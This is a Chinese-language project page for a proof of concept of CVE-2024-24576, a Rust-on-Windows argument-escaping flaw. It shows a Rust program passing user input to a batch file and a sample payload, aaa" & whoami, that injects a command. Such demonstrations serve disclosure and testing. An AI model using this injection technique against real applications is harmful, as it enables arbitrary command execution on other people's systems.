观语AI2026
24.3MB · 2026-04-03
本项目提供了一个针对 CVE-2024-24576 漏洞的概念验证(Proof of Concept)实现。该漏洞是Rust标准库在Windows平台上的一个高危安全缺陷,允许攻击者通过特定参数绕过转义逻辑,执行任意系统命令。
本工具仅依赖Rust标准库,无需额外依赖。
git clone
cd CVE-2024-24576-PoC
test.bat(与编译后的可执行文件同目录):@echo off
echo Argument received: %1
cargo run
运行程序后,输入待测试的payload:
cargo run
enter payload here
aaa
Output:
Argument received: aaa
输入包含&的字符串时,Rust会正确转义,命令不会被注入:
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
通过添加双引号,使转义机制失效,成功执行whoami命令:
enter payload here
aaa" & whoami
Output:
Argument received: "aaa"
desktop-8j2vk8bfrost
输出解析:
"aaa")whoami的执行结果(返回当前用户名)主函数逻辑:
test.bat批处理文件核心代码:
use std::io::{self, Write};
use std::process::Command;
fn main() {
println!("enter payload here");
let mut input = String::new();
io::stdout().flush().expect("Failed to flush stdout");
io::stdin().read_line(&mut input).expect("Failed to read from stdin");
let output = Command::new("./test.bat")
.arg(input.trim())
.output()
.expect("Failed to execute command");
println!("Output:n{}", String::from_utf8_lossy(&output.stdout));
}
use std::io::{self, Write};
use std::process::Command;
fn main() {
// 提示用户输入payload
println!("enter payload here");
// 刷新标准输出缓冲区,确保提示立即显示
let mut input = String::new();
io::stdout().flush().expect("Failed to flush stdout");
// 从标准输入读取payload
io::stdin().read_line(&mut input).expect("Failed to read from stdin");
// 使用Command API执行test.bat,将用户输入作为参数传递
// 漏洞点:Rust对Windows批处理文件参数的转义逻辑存在缺陷
let output = Command::new("./test.bat")
.arg(input.trim())
.output()
.expect("Failed to execute command");
// 打印命令执行结果
println!("Output:n{}", String::from_utf8_lossy(&output.stdout));
}
@echo off
REM 简单地回显接收到的第一个参数
echo Argument received: %1
漏洞原理说明:
Rust在Windows上调用Command::arg()时,会尝试对特殊字符(如&, |, ;等)进行转义以防止命令注入。但在处理包含双引号的特定组合时,转义逻辑未能正确处理,导致攻击者可以注入额外的命令。本项目通过aaa" & whoami成功演示了该缺陷。
6HFtX5dABrKlqXeO5PUv/4UVIGjPktfmPiizu3zncmJGVuS2s6SmcPjxIbvxLApj